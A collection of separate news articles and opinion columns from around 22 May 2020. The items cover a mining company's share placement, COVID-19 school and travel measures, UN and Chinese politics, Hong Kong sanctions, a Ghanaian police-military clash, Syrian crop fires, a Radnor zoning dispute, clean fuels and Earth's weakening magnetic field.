US$6 million to be raised via institutional share placement

Placement strongly supported by a number of leading Australian and international institutional investors

Placement strengthens RTG's balance sheet as the Company continues to progress the Mabilo project together with other business development opportunities

SUBIACO, WESTERN AUSTRALIA / ACCESSWIRE / May 22, 2020 / The Board of RTG Mining Inc. ("RTG", the "Company") (TSX:RTG)(ASX:RTG) is pleased to announce that the Company has received commitments to raise approximately US$6 million (circa A$9.2 million) in a private placement to Australian and international institutional and sophisticated investors ("Private Placement").

Hartleys Limited, together with INTE Securities LLC and M2-Advisors (the "US Placement Agent"), acted as Joint Lead Managers to the Private Placement.

The Private Placement received strong institutional support, demonstrating the considerable interest in RTG's interest in the high grade copper/gold/magnetite Mabilo Project in the Philippines and the Company's other potential opportunities.

The Private Placement will result in the issue of approximately 162 million Chess Depository Instruments ("Securities") to be listed on the ASX at an issue price of A$0.057 per Security, representing only a 1.7% discount to RTG's last closing price on the ASX of A$0.058.

Net proceeds of the Private Placement will be used:

to work towards finalizing the Mining Licence permitting on the Mabilo Project whilst the Company awaits the handing down of a decision on the Arbitration in Singapore;

to continue to support the advancement of the Mabilo Project towards start-up, the first phase being a Direct Shipping Operation;

to continue to pursue new potential business development opportunities;

for partial repayment of the Corporate Loan Facility; and

for working capital and general corporate purposes.

Placement Details

The Private Placement consists of 162 million new Securities to be issued at an issue price of A$0.057 per Security ("Issue Price") to raise total funds of circa US$6 million. The Securities will be issued in two tranches as below:

Tranche 1 - Comprising 60,128,550 Securities at the Issue Price to raise approximately US$2.2 million, to be issued on or around Friday, 29 May 2020, pursuant to ASX Listing Rule 7.1; and

Tranche 2 - Comprising 102,422,120 Securities at the Issue Price to raise a further approximately US$3.8 million, to be issued subject to shareholder approval at a meeting of shareholders expected to be held in July 2020.

The Private Placement will be conducted under exemptions from prospectus and registration requirements of securities laws in relevant countries. The Private Placement is subject to approval of TSX. A Notice of Meeting to approve Tranche 2 will be sent to shareholders in due course.

In accordance with ASX Listing Rule 10.11, 4,112,080 Securities will be issued to related parties subject to shareholder approval at the General Meeting.

Subject to shareholder approval at the General Meeting, the US Placement Agent will be issued 6,806,612 unlisted advisor options equivalent to 5% of the gross proceeds of the Private Placement to US clients, exercisable at A$0.057 with a five year expiry from date of issue. Each unlisted option is convertible into one CDI.

ADDITIONAL DISCLOSURE

The Company continues to investigate a number of new business opportunities diversifying its Philippine interests and the opportunity to support the SMLOLA Joint Venture in Bougainville. No agreements or arrangements (binding or otherwise) as to key terms have been reached with respect to any potential opportunity, other than as previously disclosed. At this stage there are no new business opportunities available to the Company that are considered sufficiently progressed to be considered material to RTG. There can be no guarantee that any particular opportunity considered by RTG from time to time will result in a transaction being entered into and/or completed.

ABOUT RTG MINING INC

RTG Mining Inc. is a mining and exploration company listed on the main board of the Toronto Stock Exchange, the Australian Securities Exchange and the OTCQB Venture Market. RTG is currently focused primarily on progressing the Mabilo Project to start-up with permitting well advanced, to move quickly and safely to a producing gold company.

RTG also has a number of exciting new opportunities but during these uncertain times primary focus is on the Mabilo Project.

RTG has an experienced management team which has to date developed seven mines in five different countries, including being responsible for the development of the Masbate Gold Mine in the Philippines through CGA Mining Limited. RTG has some of the most respected international investors as shareholders including Franklin Templeton, Equinox Partners and Sun Valley.

ENQUIRIES

Australian Contact

President & CEO - Justine Magee

Tel: +61 8 6489 2900

Fax: +61 8 6489 2920

Email: jmagee@rtgmining.com

US Contact

Investor Relations - Jaime Wells

Tel: +1 970 640 0611

Email: jwells@rtgmining.com

COMPLIANCE STATEMENT

Date: 22 May 2020

Authorised for release by: By the Board of Directors

CAUTIONARY NOTE STATEMENT

The Toronto Stock Exchange has not reviewed nor does it accept responsibility for the accuracy or adequacy of this press release, which has been prepared by management.

This announcement includes certain "forward-looking statements" within the meaning of Canadian securities legislation. All statements in this announcement, other than statements of historical facts are forward-looking statements, including statements made or implied relating to the anticipated timing, closing, size, structure of and exemptions utilized under the Private Placement, the use of the net proceeds from the Private Placement, the timing of the shareholder meeting to approve Tranche 2 of the Private Placement, the Company's opportunities to diversify its Philippine interests and to participate in the redevelopment of the Panguna Mine in Bougainville, the Company's objectives, strategies to achieve those objectives, the Company's beliefs, plans, estimates and intentions, and similar statements concerning anticipated future events, plans for further exploration. Forward-looking statements involve various risks and uncertainties and are based on certain factors and assumptions. There can be no assurance that such statements will prove to be accurate, and actual results and future events could differ materially from those anticipated in such statements. Important factors that could cause actual results to differ materially from RTG's expectations include uncertainties related to market conditions and demand for the Private Placement, the receipt of requisite shareholder and regulatory approvals, fluctuations in gold and other commodity prices and currency exchange rates; uncertainties relating to interpretation of drill results and the geology, continuity and grade of mineral deposits; uncertainty of estimates of capital and operating costs, recovery rates, production estimates and estimated economic return; the need for cooperation of government agencies in the development of RTG's mineral projects; the need to obtain additional financing to develop RTG's mineral projects; the possibility of delay in development programs or in construction projects and uncertainty of meeting anticipated program milestones for RTG's mineral projects and other risks and uncertainties as discussed in RTG's annual report for the year ended December 31, 2019 and detailed from time to time in our other filings with the Canadian securities regulatory authorities available at www.sedar.com. The forward-looking statements made in this announcement relate only to events as of the date on which the statements are made. RTG will not release publicly any revisions or updates to these forward-looking statements to reflect events, circumstances or unanticipated events occurring after the date of this announcement except as required by law or by any appropriate regulatory authority.

NOT FOR RELEASE OR DISTRIBUTION IN THE UNITED STATES

This announcement has been prepared for publication in Canada and Australia and may not be released to US wire services or distributed in the United States. This announcement does not constitute an offer to sell, or a solicitation of an offer to buy, securities in the United States or any other jurisdiction. Any securities described in this announcement have not been, and will not be, registered under the US Securities Act of 1933, as amended (the "US Securities Act"), or any state securities laws, and may not be offered or sold in the United States except in transactions exempt from, or not subject to, registration under the US Securities Act and applicable US state securities laws.

SOURCE: RTG Mining Inc.

View source version on accesswire.com:https://www.accesswire.com/591020/US6M-Raised-in-Strongly-Supported-Private-Placement
Press Release

May 22, 2020 Bong Go appeals to schools to provide flexible tuition payment schemes, implement alternative distance learning programs and safety measures amid COVID-19 pandemic Expressing his concern for students and their families who cannot afford to pay tuition fees due to the ill economic effects of the coronavirus disease (COVID-19) pandemic, Senator Christopher Lawrence "Bong" Go called on schools, universities and other educational institutions to provide flexible payment arrangements for school fees to ensure their continuing education amid the public health crisis. "Maraming nawalan ng trabaho at walang pagkukunan ng pampaaral sa kanilang mga anak. Pwede ba natin luwagan ang payment schemes at bigyan po sila ng palugit sa pagbayad ng tuition?" Go appealed during a hearing of the Senate acting as the Committee of the Whole on Thursday, May 21. "Baka di kakayanin ng mga magulang ang malaking amount. Importante po hindi sila maantala o mahinto sa kanilang pag-aaral," he reiterated. Previously, Go, also sitting as a member of the Joint Congressional Oversight Committee on the implementation of the Bayanihan to Heal as One Act, also called on the private and government banking and financial institutions, including the Government Service Insurance System, Social Security System and PAG-IBIG Fund, to provide flexible payment terms for personal and commercial loans as most Filipinos lost their jobs and livelihoods amid the COVID-19 pandemic. During the hearing, the Senator also asked regarding the schedule of opening of the next school year and steps to be taken by the government in assisting the students, teachers, and non-teaching personnel in schools and to ensure their health and safety. In response, Department of Education Secretary Leonor Briones said that most teachers, students, school officials and parents still preferred to start the school year in August based on a survey conducted by the department. "Nagkaroon tayo ng napakalaking survey, more than 700,000 participants---mga teachers, learners, opisyal, parents na sinurvey natin at tinanong natin kung kelan gusto nila magbukas ang eskwelahan, kasi merong ibang private school gusto nila June pa lang magbubukas na sila," Briones said. The DepEd Secretary also added that the law specifically provides that school opening may be conducted not later than the last week of August. She also said that they will authorize the use of "blended education" so that teachers can conduct learning remotely to ensure the safety of their students. "Ino-authorize natin 'yung tinatawag nating blended education, na halo ang online kasi meron ang iba, gustong magbukas ng June o magbukas kayo pero kailangan, online walang face to face," Briones also said. "Pwedeng halo na merong once a week o ano bang arrangement na gagawin, tapos napansin namin, pwede kung online, tiningnan namin ilan ang kayang mag online na mga parents at mga bata," she further explained, adding that smartphones will also be used to transmit lessons. As for students who do not have access to smartphones, Briones also said that they will explore the use of the television and radio to ensure the continuing learning of the students amid the quarantine protocols currently in place in many parts of the country. Next week, Briones will be meeting officials of the Presidential Communications Operations Office to discuss how government-run television and radio stations may be utilized as alternative platforms to deliver lessons. This is in response to Go's earlier call for DepEd and educational institutions to explore possible online or distance learning programs for students to be able to continue their studies without putting them at harm or adding burden to them and their families as government continues to fight the disease outbreak. Meanwhile, Go also asked Commission on Higher Education Dr. J. Prospero de Vera III about the measures to be implemented by the government so that alternative modes of learning do not cause unnecessary stress to the families of the students in the tertiary level. "Hindi naman po pwedeng tumigil ang kanilang pag-aaral," Go previously said, adding that "schools must also prepare their facilities and lay down protocols in preparation for the possible scenarios that students, teachers and education personnel will face when classes resume." De Vera responded, saying that they are also advising the use of flexible learning, which is a system of learning that uses both online and offline modes. "Ang objective ng flexible learning ay ma-decongest ang klase para hindi lahat ng estudyante papasok. Hindi ibig sabihin nito na wala nang papasok sa school pero babawasan ang kailangang pumasok sa eskwelahan para pwedeng mag-social distancing, babawasan ang large gatherings, et cetera," he replied. "So, hindi ito necessarily online lahat. 'Yung mga eskwelahan na kaya nilang online, tuloy pa rin sila mag-online," de Vera added. De Vera also mentioned that the CHEd has an ongoing project with Silliman University, for example, to design a learning management system which does not need internet connection to work. It is a software where teachers, students and schools can conduct learning remotely. De Vera also clarified that not all learning will happen virtually, since there are students who do not have access to the internet. "'Yung mga kaya talagang mag-online, pwede silang mag-online most of the time. 'Yung talagang walang internet connection, 'yun ang magre-regular residential class," de Vera said. "Ang naging problema kasi nung sinabing flexible, ang intindi ng iba eh online lahat. Hindi ho 'yun ang itinutulak ng CHEd. Depende po yan sa internet connectivity," he added. Noting the fact the some higher educational institutions have been used as quarantine isolation areas, Go also sought the assurance of concerned government agencies to ensure the safety of the students. "There are fears that students will be dangerously exposed kapag pinapasok na sila habang ginagamit ang kanilang mga eskwelahan as quarantine facility. Kindly check that also," Go mentioned. Ending his questioning, Go then thanked the officials of the Executive department for their continuing service to the country in the midst of the current COVID-19 pandemic. "Salamat sa lahat po ng nasa Executive. Salamat po sa inyong serbisyo sa bayan. Labanan natin ito para malagpasan natin (bilang isang nagkakaisang bansa)," he ended.
Cyprus will reopen its airports to commercial flights but British tourists will be banned from entering the country.

Transport Minister Yiannis Karousos said that airports would reopen to commercial flights from June 9 after nearly three months of lockdown.

The phased reopening will initially allow passengers to fly to the small EU state from about 20 countries.

Britain and Russia are the island's two largest tourist markets but both are not on the initial lists amid concerns coronavirus has not been sufficiently contained in those countries.

The phased reopening will initially allow passengers to fly to the small EU state from about 20 countries

British tourists account for a third of all arrivals in Cyprus.

A second phase of easing restrictions will begin on June 20, the minister said after a cabinet meeting that agreed the measures.

During the first phase, visitors will need to have tested negative for coronavirus within 72 hours of arriving in Cyprus with a certificate to prove it.

Cypriot residents can take the test upon arrival in Cyprus and will have to self-isolate until the result is known.

Transport Minister Yiannis Karousos said that airports would reopen to commercial flights from June 9 after nearly three months of lockdown

From June 20 people arriving from 'Category A' countries - a list of 13 nations including Greece, Germany and Malta - will not need to present a health certificate proving that they are not infected.

A certificate proving a negative coronavirus test will still be necessary for tourists arriving from Category B countries.

Category B is a list of six nations including Switzerland and Poland.

Karousos said commercial flights from countries not on the lists will not be allowed unless they are repatriation flights for Cypriot residents returning home during this initial period.

Cyprus issued a commercial flight ban on March 21 as part of its lockdown measures, which - alongside a rigorous testing period - have seen new cases fall into the low single digits daily recently.

Cyprus issued a commercial flight ban on March 21 as part of its lockdown measures

Other countries in the first phase include Bulgaria, Norway, Austria, Finland, Slovenia, Hungary, Israel, Denmark, Slovakia and Lithuania.

The other countries in Category B are Romania, Croatia, Estonia and the Czech Republic.

Tourism contributes about 15 per cent of Cyprus' GDP and a record 3.97 million tourists visited last year.

Cypriot residents can take the test upon arrival in Cyprus and will have to self-isolate until the result is known

Authorities expect arrivals will be down by 70 per cent in 2020.

On Wednesday Greece announced its tourism industry would reopen from June and international flights will be able to fly to the country's main tourist spots.

The list of allowed countries will be announced at the end of May but Greece officials have warned it is unlikely British tourists will be welcomed.

The UK's record on coronavirus is currently not good enough for Brits to be allowed to visit, the Greek tourism minister Haris Theoharis told ITV News.
Source: Xinhua| 2020-05-22 06:32:09|Editor: huaxia

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UNITED NATIONS, May 21 (Xinhua) -- A Chinese envoy on Thursday asked parties in Somalia to work together for peaceful elections and to advance the political process.

Somalia is entering a critical stage with the elections on top of its priorities, said Yao Shaojun, China's acting deputy permanent representative to the United Nations.

The Somali president has signed the electoral bill into law. The national electoral security task force adopted its terms of reference and reviewed the draft concept of security for voter registration, he noted.

This progress fully demonstrates Somalia's strong willingness to promote peaceful elections. China supports all parties in Somalia to proceed from the fundamental interests of the country, enhance cooperation and dialogue, and jointly advance the electoral and political processes, Yao told the Security Council.

The international community should provide constructive assistance on the basis of respect for Somalia's ownership and leadership. China has consistently advocated African countries addressing African issues in African ways, he said.

The African Union Mission in Somalia (AMISOM) has been playing a significant role in maintaining peace and stability in Somalia. China supports AMISOM in continuing to carry out its mandate, and in helping strengthen the capacities of Somalia national security forces so that they can gradually assume security responsibilities, he said.

Yao asked the UN Security Council to listen more to the African Union.

China strongly condemns all forms of terrorism. AMISOM and UN Assistance Mission in Somalia have greatly helped Somalia combat terrorist activities, he said.

Terrorist attacks targeting UN and AMISOM facilities is a matter of grave concern. China calls on all relevant parties to take pragmatic measures to effectively guarantee the safety and security of UN and AU staff and their facilities in Somalia, he said.

The COVID-19 pandemic, combined with locust infestation and floods, have worsened the humanitarian situation in Somalia. China appreciates measures already taken by the Somali government to prevent and control the pandemic, said Yao.

Limited by its economic and social development conditions, Somalia is more vulnerable and less capable of responding to the disaster. The international community should continue to provide constructive assistance to help Somalia overcome difficulties and achieve sustainable and independent development at an early date, he said.

The Chinese government and enterprises have donated multiple batches of medical supplies to Somalia and shared experience and best practices through video conference with Somali medical stuff. China will continue to make its own contributions, he said. Enditem
Source: Xinhua| 2020-05-22 09:42:55|Editor: Xiaoxia

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The third session of the 13th National People's Congress (NPC) opens at the Great Hall of the People in Beijing, capital of China, May 22, 2020. Leaders of the Communist Party of China (CPC) and the state Xi Jinping, Li Keqiang, Wang Yang, Wang Huning, Zhao Leji, Han Zheng and Wang Qishan on Friday attended the opening meeting of the third session of the 13th NPC, and Li Zhanshu presided over the meeting. (Xinhua/Ju Peng)

BEIJING, May 22 (Xinhua) -- China's national legislature started its annual session Friday morning in Beijing.

Xi Jinping and other Chinese leaders attended the opening meeting of the third session of the 13th National People's Congress, held at the Great Hall of the People.

Attendees at the meeting paid a silent tribute to martyrs who died fighting COVID-19 and compatriots who lost their lives in the epidemic.

After the mourning, Premier Li Keqiang delivered a government work report on behalf of the State Council to the legislature for deliberation. Enditem
RTHK: New US senate bill promises more sanctions over HK

Republican and Democratic US senators said on Thursday they would introduce legislation to impose sanctions on Chinese officials, after Beijing moved to impose a security law on Hong Kong.

The bill, to be introduced by Republican Senator Pat Toomey and Democrat Chris Van Hollen, also would impose secondary sanctions on banks that do business with entities found to violate the law guaranteeing Hong Kong's autonomy.

A Chinese official said on Thursday that China is set to impose new national security legislation on Hong Kong after last year's pro-democracy unrest, drawing a warning from President Donald Trump that Washington would react "very strongly."

"This bipartisan legislation will impose serious penalties on those working to strip Hong Kong of its autonomy," van Hollen said in a statement.

Members of Congress from both parties have been taking a more aggressive tone on China as President Donald Trump has ramped up a war of words with Beijing over responsibility for the global coronavirus pandemic. (Reuters)

This story has been published on: 2020-05-22. To contact the author, please use the contact details within the article.
What was supposed to be a routine duty-check being undertaken by some police personnel of suspected contraband in a truck on Thursday afternoon, almost turned into a nasty brawl and a showdown of bravado, between its military occupants and the police officers at post.



The military officer, in a fit of rage, is reported to have given one of the police personnel on duty, a hefty slap that nearly lifted the victim off his feet.



The incident is said to have occured at the Fiesta Royale Hotel traffic light intersection at about 3pm.



An eyewitness to the whole incident told UTV News team that the police, in the performance of their duty stopped the truck upon a tip-off that it was transporting undeclared goods.



Ordinarily, the military was not prepared to submit to a search by the police.



The driver of the truck and its occupants refused to comply with an order to have the vehicle combed through, with the explanation that they were only carting away timber logs.



The witness further narrated that the police officer on duty, who believed otherwise, held strongly that it contained ammunition and insisted on undertaking a thorough check of the contents of the truck.



As a result, he recounted, a confrontation ensued culminating in the military officer allegedly dishing out the hefty slap to the police officer.



As the scuffle escalated, according to the witness, several police officers drawn from the counter-terrorism unit who had perhaps been alerted of the incident, stormed the scene; heightening matters.



But the timely arrival of a team of military-police personnel, saved what was gradually turning out to be a tensed and explosive situation.



Chief Supt. Kwame Ali, Commander of the Counter-Terrorism Unit of the Ghana Police Service, who later spoke to some media practitioners that had gathered at the scene after the incident had died down, tried to assuage the fears of all concerned.



He, however, pointed out as security personnel, irrespective of which unit one is attached to and their differences, the "ultimate aim is to protect the state and its citizenry", and to also "ensure that no one takes the law into his or her own hands".

Source: Isaac Kwame Owusu/Peacefmonline.com/[email protected]









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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The Duke of Cambridge has said he is particularly worried about the long-term effects of the lockdown on young people.

In a video call to Northern Irish care providers, Prince William said were all muddling through this period but the effects on childrens mental health would come later.

Talking to health five professionals from the Belfast Health and Social Care Trust, which delivers care to around 340,000 in the capital, William said: Im particularly worried as to how the young people are going to cope long term because were all muddling through this period at the moment and helping each other.

"But the long term implications  of school being missed, anxiety levels, family members sadly dying and the sort of general economic outlook Do you think that will play heavily on your services and what theyll need?

Consultant psychiatrist Frances Doherty, who runs an inpatient mental health unit for teenagers, replied: Interestingly in our service in the short term, some of our referral rates have gone down but I would imagine that as were starting to come out of lockdown and people are starting to get back into the world again, [were] starting to realise just what weve been through and well start to see our referral rate increase and the impact on our services.

What I think has been really helpful is a lot of work has been done to think about how young people can care for themselves, how parents can care for them, to help them to survive and to thrive eventhrough the pandemic. But I think its the other side of it that well have all the challenges that you mentioned.

Talking to child psychiatrist Dr Clare McKenna, father-of-three William gave a knowing laugh when she said: The children I work with dont understand social distancing.

To laughs from the other five participants  all women  on the call, William said: Thats all children isnt it?! I dont think any children understand social distancing!

Dr McKenna said some of her staff had come up with innovative ways to put the vulnerable children in their care at ease while they were all wearing masks, gowns and even PPE visors.

Staff had taken pictures of themselves smiling broadly, printed out the photos and then stuck them onto their masks or visors.

Social worker Eimear Hanna, in charge of nine out of ten childrens homes in Belfast, said her staff had bought big teddy bears for the children to hug  as they werent allowed to hug carers.

The staff stand beside the bears, so the children can hug a bear by proxy.

She said: Staff have bought huge teddies so if you want a hug, here you go, with the staff beside them.

The Duke laughed: Everyone needs a hug, its very important Eimear.

They do! They do Sir, she replied.

At the end of the call, the Duke said: I would just like to say before I go that Im hugely grateful for all youre doing and hope enough people are saying thank you and appreciate all the hard work that not only you, but all your team are doing right now.

I know its unprecedented and its scary and its daunting, but youre all making a huge difference so please pass on to all your team how grateful everyone is and how appreciative everyone is at what theyre doing at the moment.

On a separate video call, William also spoke to six social care workers from across the UK to get their perspective, including Karolina Gerlich, Executive Director of the Care Workers Charity, Care worker Sajeed Daji, Cathy Worman who has worked as a care home worker for more than 10 years, live-in carer Rajinder Ajiz, live-in personal assistant Michael Orme and Suraya Alyi who goes into peoples homes to look after them.
Farmer in Hassakeh and Deir ez-Zor have been struggling to extinguish crop fires that threaten their livelihoods and income reports Zaman Al-Wasl.

Crop fires have destroyed more than 1,500 hectares in northeastern Syria, local activists said Wednesday.

The massive fires flared in 12 areas in Hassakeh and Deir ez-Zor provinces as local farmers failed in their efforts to extinguish the fire that hit the unharvested barley and wheat crops.

A crop fire also broke out in the Turkish-held Ras al-Ayn region.

Activists have blamed extremist Islamic State and YPG militias for launching such attacks.

According to the Agricultural Directorate in Deir ez-Zor, farmers have cultivated about 70,000 hectares, mostly wheat and barley.

Last year, crop fires in northeastern Syria caused 50 million dollars in damage to wheat and barley harvests.

At least 14 farmers died in 2019 while desperately trying to save their crops and livelihoods from arsonists.

This article was edited by The Syrian Observer. The Syrian Observer has not verified the content of this story. Responsibility for the information and views set out in this article lies entirely with the author.
In this age of social distancing and what I like to call Textcommunication, people have had to resort to a variety of methods to meet. Some of them are quite effective, but most are a poor substitute for facing someone across a table whether in the kitchen, the dining room or the conference room. Business meetings are particularly troublesome because the normal empathy and affection that comes from family relations (okay, most family relations) is missing from these more formal situations. However, I do expect some level of respect for opposing views.

How naive. A recent example of a business meeting that soured is the May 11 meeting of the Radnor Board of Commissioners. It was open to the public, if sitting in front of your computer and clicking on the YouTube or Zoom app qualifies as open to the public. I dont live in Radnor, but I have friends who do and I was interested in finding out how the commissioners were going to deal with a controversial issue  namely, the fact that Penn Medicine was intent on opening up a medical facility where abortions might be performed.

Everyone knows that abortion is legal, so it wasnt a question of whether Penn could perform abortions. The fundamental issue was whether it should perform abortions in a highly concentrated area within walking distance of two high schools, Radnor and Archbishop Carroll, and a popular recreational spot where kids often congregate, the Gravity Vault. It is reasonable to assume that even those who support abortion rights might have a problem with a facility performing those terminations right under the eyes of their impressionable children, not to mention the fact that one of those schools is a part of the Philadelphia archdiocese.

You might be saying, Wow, I had no idea that abortions were going to be performed down the street from two high schools and a popular recreational spot where kids often congregate. Thats because both Penn Medicine and the board of commissioners have successfully maneuvered the issue into obscurity. Im not saying that they have deliberately lied to the people of Radnor Township about whether abortions will be performed at the new Penn facility set to open later this month. Im saying that they have tried to keep the information on the down low, doing their utmost to silence the voices of a very strong, very dedicated opposition.

I will fully admit to not having followed this story from the very beginning, when Penn Medicine sought a zoning variance so that it could open the facility in question. It was apparently a part of a zoning change to a prized section of Radnor real estate known as the Planned Laboratory Office district. Ive researched a number of earlier articles that discussed the zoning change, as well as the information made available by the board of commissioners, and there was almost no discussion of abortions. Thats not surprising, since its such a controversial topic.

And since it is such a controversial subject, those who are in favor of abortion and want those services to be made available in residential areas have learned how to cover up their proposals and agendas in language like ambulatory care, which is exactly how the supporters of Penn Medicine were able to get approval for the zoning change. If they had come out and said we are opening an abortion clinic several hundred feet from two high schools and a popular kids hangout, its likely that the proposed changes would have faced significant opposition. Use the word abortion and they would have passed with as much ease as a gallstone. Cover that up, and you are assured greater success.

And success is what Penn Medicine and its advocates on the board of commissioners got. The zoning variances were approved, and Penn broke ground on the facility which  as noted before  is set to open this month.

In February, Commissioner Richard Booker received an email from a constituent, asking if he could find out if Penn intended to perform abortions at the new site, located at 145 King of Prussia Road. Booker reached out to the township manager, who sent an inquiry to Penn Medicine. There was no response.

At a public board meeting in March, before the pandemic closed everything down, numerous residents attempted to voice their concerns about the possibility of abortions being performed so close to schools, but the commissioners shut down any discussion and indicated that comments could be made at the next meeting. Then, of course, came the COVID apocalypse.

I didnt think about the issue for a while, because to be honest, it didnt touch me in my own backyard. But a friend alerted me to Monday nights board meeting, which was going to be held virtually. Out of curiosity, I tuned in. What I saw offended me both as a woman, a lawyer and a resident of Delaware County. At the point in the hearing where Commissioner Booker again attempted to force the board to seek clarification from Penn Medicine as to whether it would be performing abortions, he was screamed over, shouted down, and treated in the most disrespectful manner by a chorus of men and women who looked like a deranged version of The Brady Bunch. The Zoom screen showed them as they shouted point of order and he doesnt have a second on his motion and stop and other things I couldnt entirely understand, but which are memorialized in this YouTube link of the meeting. (

https://youtu.be/cq2di3333Fs?list=PLWSgQZEOk8cWtSffPqinXykgq69vqgc6y) Unsurprisingly, the attempt to seek some accountability from Radnors new neighbor went down in flames.

But that wasnt the worst part. In an apparent nod to the many people who had real concerns about the prospect of abortions being performed as ambulatory services, board President Jack Larkin deigned to read into the record emails that had been solicited by the board. This was, apparently, its attempt at transparency.

I watched as Larkin read each email, some of them quoting scripture, some of them simply asking questions, some of them making earnest pleas on behalf of a community in which they had long lived and maintained deep ties. He started out reading them in a normal, unobjectionable manner. But as he seemed to realize the content of the messages, a note of disdain filled his voice. He began to describe the punctuation used by each writer, saying dot, dot, dot or whatever unique or idiosyncratic grammatical aspect of the email he found interesting. In doing so, it was obvious that he was trying to diminish the meaning of these good-faith attempts to get answers, and  yes  prevent the community from hosting a de facto abortion clinic.

I thought it was just my imagination, but when I spoke afterwards to the friend who alerted me to the Zoom meeting, she agreed that the whole set up was disrespectful and arrogant.

You can disagree on the topic of abortion, and I know that many find my own beliefs to be abhorrent. You dont espouse pro life views in print and on the radio and on television for almost two decades without figuring out that in this bluest of blue regions in our sweet commonwealth, you are persona non grata.

But what you cannot do is show disrespect for the people in the community you serve, either by shouting down one of its duly-elected representatives like Richard Booker, or by treating the legitimate concerns of those people with barely concealed disdain because you reject their morals and their values.

The honest thing to do would have been to allow those concerned residents to appear via video conference. It could have been done; we have the technology. More importantly, the board should have taken up, sua sponte, the initiative to get answers from Penn Medicine and not simply allow it to move into the community with little or no accountability. Clearly, its something that troubles the people who cared enough to at least try and raise their voices.

I want to add my voice to those men and women who are pushing for answers, since the board of commissioners doesnt seem to care: Penn Medicine, can you tell us once and for all if abortions will be performed at 145 King of Prussia Road?

Inquiring minds need to know.

Christine Flowers is an attorney and a resident of Delaware County. Her column usually appears on Sunday. Email her at cflowers1961@gmail.com.
Photos of a smogless Los Angeles skyline set against a brilliant blue sky have emerged as an iconic image to showcase the impact of decreased air pollution during Americas COVID-19 quarantine.

Similar photos from around the world, including what are usually smog-filled cities in India, China and Europe, provide a glimpse of a world with improved air quality.

Its no secret that poor air quality has historically been caused by traffic, but due to tighter regulations by the federal government, industries contribution to pollution has decreased significantly. Scientific research is beginning to show how social distancing measures and stay-at-home orders have created an unintended consequence of improving worldwide air quality.

For nearly two decades, the Alabama Clean Fuels Coalition has been advocating to improve Alabamas air quality by increasing the use of cleaner alternative fuels and expanding the market for advanced technology vehicles. Cleaner burning alternative transportation fuel options like biodiesel, ethanol, propane and natural gas also reduce pollution just like electric vehicles.

Air pollution remains a global public health crisis, as the World Health Organization estimates it kills seven million people worldwide annually.

But is the COVID-19 pandemic showing us the wisdom of transitioning to cleaner vehicles, whether electric vehicles with drastically lower emissions or vehicles using cleaner-burning alternative fuels? The answer is an emphatic yes.

Recent research shows global carbon dioxide emission had fallen by 17 percent by early April when compared to mean 2019 levels. In some areas, including the United States and the United Kingdom, emissions have fallen by a third, thanks largely to people driving less, according to research published in Nature Climate Change.

Numerous organizations, including NASA, continue to study the environmental, societal and economic impacts of the pandemic, and researchers view recent air quality gains as promising evidence that the use of alternative vehicles could have long-term positive impacts.

If I could wave my magic wand and we all had electric cars tomorrow, I think this is what the air would look like, Ronald Cohen, a professor of atmospheric chemistry at UC Berkeley who studies the effects of the stay-at-home orders on air quality, told the Los Angeles Times.

Wider use of electric vehicles and the other domestically produced alternative fuels would lessen Americas dependence on foreign oil while also helping our environment. Poor air quality already causes negative consequences for millions of Americans.

Alabama could also see economic benefits from increased production of electric vehicles, with Honda, Hyundai and Mercedes-Benz operating plants in the state and working hard to produce the next wave of electric vehicles. As part of a $1 billion investment in Alabama, Mercedes began construction of a high-voltage battery plant in Bibb County in 2018 for its all-electric EQ brand of vehicles, as well as batteries for its hybrid plug-ins.

This is a teaching moment, Viney Aneja, an air quality professor in the Department of Marine, Earth and Atmospheric Sciences at North Carolina State University told the Raleigh News and Observer. We should learn from it. We should promote behavior that will allow air quality to be as good as it is outside right now.

This is a prime opportunity for America to embrace alternative and cleaner-burning transportation fuels, as well as electric vehicles, while also decreasing reliance on foreign oil and creating jobs here at home.

It could also make those picturesque photos of the big-city skylines become commonplace instead of a rarity.

Mark Bentley has served as the executive director of the Alabama Clean Fuels Coalition since August 2006.

Phillip Wiedmeyer serves as the Alabama Clean Fuels Coalitions chairman of the board of directors and president and is one of the ACFCs original founders. He also serves as the executive director of the Applied Research Center of Alabama, a non-profit dedicated to public policy issues impacting Alabamas growth, economic development and business climate.

About the Alabama Clean Fuels Coalition

Alabama Clean Fuels Coalition serves as the principal coordinating point for clean, alternative fuel and advanced technology vehicle activities in Alabama. ACFC was incorporated in 2002 as an Alabama 501c3 non-profit, received designation U.S. Department of Energys Clean Cities program in 2009 and was re-designated in 2014. A national network of nearly 100 Clean Cities coalitions brings together stakeholders in the public and private sectors to deploy alternative and renewable fuels, idle-reduction measures, fuel economy improvements and emerging transportation technologies. To learn more, visit www.alabamacleanfuels.com.
(Natural News) The magnetic field of the Earth is weakening, and scientists arent entirely sure why.

The Earths magnetic field is vital for protecting life on the planet from cosmic radiation and charged particles emitted by the sun. The Earths magnetic field is generated by the flowing of liquid metal in the outer core, which creates electric currents, and the rotation of the Earth on its axis, which causes these electric currents to form a complex and dynamic magnetic field around the planet.

Scientists estimate that, on average, the Earths magnetic field has lost around nine percent of its strength over the last 200 years. However, one large region of weakness is particularly concerning for researchers. Known as the South Atlantic Anomaly, this area stretches from Africa to South America. Just as it has grown and moved farther westward, the strength of the magnetic field in the Anomaly has been rapidly shrinking over the past 50 years.

According to the European Space Agency (ESA), between 1970 and 2020, the minimum field strength of the South Atlantic Anomaly has dropped from 24,000 nanoteslas to 22,00o.

However, this isnt the only thing about the South Atlantic Anomaly that concerns scientists. Over the past five years, another center of minimum intensity is emerging in the anomaly southwest of Africa. This, the scientists conclude, indicates that the South Atlantic Anomaly could split up into two separate anomalies.

Usually, when scientists want to visualize the Earths magnetic field, they draw it as a powerful dipolar bar magnet tilted at around 11 degrees to the axis of the Earths rotation. However, the growth and possible splitting of the South Atlantic Anomaly is now causing scientists to reconsider their ideas, as simple dipolar models may no longer be accurate enough to show the complexity of the Earths magnetic field.

ESA spacecraft studying the weakening magnetic field

This new anomaly is making scientists worried. To study it further, researchers from the Swarm Data, Innovation and Science Cluster (DISC) are studying data obtained from ESAs Swarm satellites, a constellation of three identical satellites designed to study the Earths magnetic field. The Swarm satellites carry sophisticated magnetometers and electric field instruments, which allow them to gather accurate data about the Earths geomagnetic field and its temporal evolution as well as the electric field in the atmosphere.

